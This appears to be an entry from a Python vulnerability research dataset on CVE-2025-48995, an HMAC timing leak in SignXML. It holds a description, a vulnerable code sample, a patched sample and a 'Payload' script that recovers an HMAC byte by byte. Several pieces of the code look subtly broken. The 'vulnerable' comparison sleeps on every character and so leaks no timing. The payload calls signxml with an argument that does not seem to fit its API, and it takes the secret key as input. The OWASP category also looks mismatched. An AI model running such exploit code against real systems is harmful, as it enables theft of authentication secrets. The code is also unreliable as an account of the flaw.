VAITP Dataset

← Back to the dataset

CVE-2025-48995

SignXML < 4.0.4 timing attack allows HMAC recovery when X509 validation is off.

  • CVSS 6.9
  • CWE-208
  • Cryptographic
  • Remote

SignXML is an implementation of the W3C XML Signature standard in Python. When verifying signatures with X509 certificate validation turned off and HMAC shared secret set (`signxml.XMLVerifier.verify(require_x509=False, hmac_key=…`), versions of SignXML prior to 4.0.4 are vulnerable to a potential timing attack. The verifier may leak information about the correct HMAC when comparing it with the user supplied hash, allowing users to reconstruct the correct HMAC for any data.

CVSS base score
6.9
Published
2025-06-02
OWASP
A03:2021-Injection
Orthogonal defect classification
Timing/Serialization
Code defect classification
Timing Issues
Category
Cryptographic
Subcategory
Cryptographic Implementation Error
Accessibility scope
Remote
Impact
Information Disclosure
Affected component
SignXML
Fixed by upgrading
Yes

Solution

Upgrade to SignXML version 4.0.4 or later.

Vulnerable code sample

import time
import hmac
import hashlib

def insecure_hmac_compare(known_hmac, user_hmac):
    """
    Insecure comparison function vulnerable to timing attacks.
    This simulates the vulnerable comparison used in older SignXML versions.
    """
    if len(known_hmac) != len(user_hmac):
        return False

    result = True
    for i in range(len(known_hmac)):
        # Introduce a small delay proportional to whether the characters match or not.
        # This delay is subtle but measurable, allowing timing attacks.
        if known_hmac[i] != user_hmac[i]:
            result = False
        time.sleep(0.0001) # Simulate time difference for incorrect bytes
    return result


def generate_hmac(key, data):
    """Generates an HMAC using SHA256."""
    return hmac.new(key, data, hashlib.sha256).hexdigest()


# Example usage (illustrative of the vulnerability, not a direct exploit)
if __name__ == '__main__':
    secret_key = b"MySecretKey"
    data = b"SensitiveData"

    correct_hmac = generate_hmac(secret_key, data)
    print(f"Correct HMAC: {correct_hmac}")

    # Simulated attack - trying different HMACs
    test_hmac = "0" * len(correct_hmac)  # Start with an incorrect HMAC

    start_time = time.time()
    result = insecure_hmac_compare(correct_hmac, test_hmac)
    end_time = time.time()

    print(f"Comparison result: {result}")
    print(f"Time taken: {end_time - start_time}")

    # Further experimentation could involve trying to guess the HMAC byte by byte,
    # measuring the time taken for each comparison, and using the timing information
    # to infer the correct value.  This is a greatly simplified example and would require
    # more complex analysis to exploit in a real-world scenario.

Patched code sample

import hashlib
import hmac

def secure_compare(known_string, user_string):
    """
    Compares two strings in constant time to prevent timing attacks.
    """
    if len(known_string) != len(user_string):
        return False

    result = 0
    for x, y in zip(known_string, user_string):
        result |= ord(x) ^ ord(y)

    return result == 0

def verify_hmac(data, user_hmac, hmac_key):
    """
    Verifies an HMAC signature using a secure comparison to prevent timing attacks.
    """
    calculated_hmac = hmac.new(hmac_key.encode('utf-8'), data.encode('utf-8'), hashlib.sha256).hexdigest()
    return secure_compare(calculated_hmac, user_hmac)

# Example Usage (Demonstration, not exploitable without the vulnerable SignXML context)
if __name__ == '__main__':
    data = "This is some sensitive data."
    hmac_key = "secret_key"

    # Calculate the correct HMAC
    correct_hmac = hmac.new(hmac_key.encode('utf-8'), data.encode('utf-8'), hashlib.sha256).hexdigest()

    # Simulate a user-provided HMAC
    user_hmac = "a" * len(correct_hmac) # Incorrect, attacker might try many values

    # Securely verify the HMAC
    is_valid = verify_hmac(data, user_hmac, hmac_key)

    if is_valid:
        print("HMAC is valid.")
    else:
        print("HMAC is invalid.")

    # Test the secure compare function.
    known_string = "abcdefg"
    user_string = "abcdefg"
    print(f"Comparing '{known_string}' and '{user_string}': {secure_compare(known_string, user_string)}")

    user_string = "abcdeff"
    print(f"Comparing '{known_string}' and '{user_string}': {secure_compare(known_string, user_string)}")

    user_string = "abcdef"
    print(f"Comparing '{known_string}' and '{user_string}': {secure_compare(known_string, user_string)}")

Payload

import time
import hashlib
import hmac
import signxml

def time_hmac_verification(data, hmac_key, guess_hmac):
    start_time = time.time()
    try:
        signxml.XMLVerifier().verify(data.encode('utf-8'), require_x509=False, hmac_key=hmac_key, hmac_algorithm="sha256",signature=guess_hmac.encode('utf-8')) # Inject the guess into the signature parameter
        result = True
    except Exception as e:
        result = False
    end_time = time.time()
    return end_time - start_time, result

def exploit(data, hmac_key, iterations=256):
    """
    Exploits the timing attack vulnerability in signxml versions < 4.0.4
    when verifying signatures with X509 certificate validation turned off
    and HMAC shared secret set.

    Args:
        data: The data to be "signed" (XML string).
        hmac_key: The HMAC key used for signing.
        iterations: Number of iterations.
    Returns:
        The recovered HMAC value.
    """
    recovered_hmac = bytearray([0] * 32) #Assuming SHA256 HMAC
    for byte_index in range(32):
        timings = {}
        for byte_value in range(256):
            guess_hmac_bytes = bytes(recovered_hmac[:byte_index]) + bytes([byte_value]) + bytes([0] * (32 - byte_index - 1))
            guess_hmac = guess_hmac_bytes.hex()
            timing, verification_result = time_hmac_verification(data, hmac_key, guess_hmac) # Use our timing method
            timings[byte_value] = timing
        best_byte = max(timings, key=timings.get)
        recovered_hmac[byte_index] = best_byte
        print(f"Byte {byte_index}: Guessed 0x{best_byte:02x}, Cumulative HMAC: {recovered_hmac.hex()}")

    return recovered_hmac.hex()


if __name__ == '__main__':
    data = "<root>This is some data</root>"
    hmac_key = "secret_key".encode('utf-8')
    # Generate the real HMAC for verification
    real_hmac = hmac.new(hmac_key, data.encode('utf-8'), hashlib.sha256).hexdigest()

    recovered_hmac = exploit(data, hmac_key.decode('utf-8'))

    print(f"Real HMAC:     {real_hmac}")
    print(f"Recovered HMAC: {recovered_hmac}")

    if real_hmac == recovered_hmac:
        print("HMAC successfully recovered!")
    else:
        print("HMAC recovery failed.")

Cite this entry

@misc{vaitp:cve202548995,
  title        = {{SignXML < 4.0.4 timing attack allows HMAC recovery when X509 validation is off.
}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-48995},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-48995/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::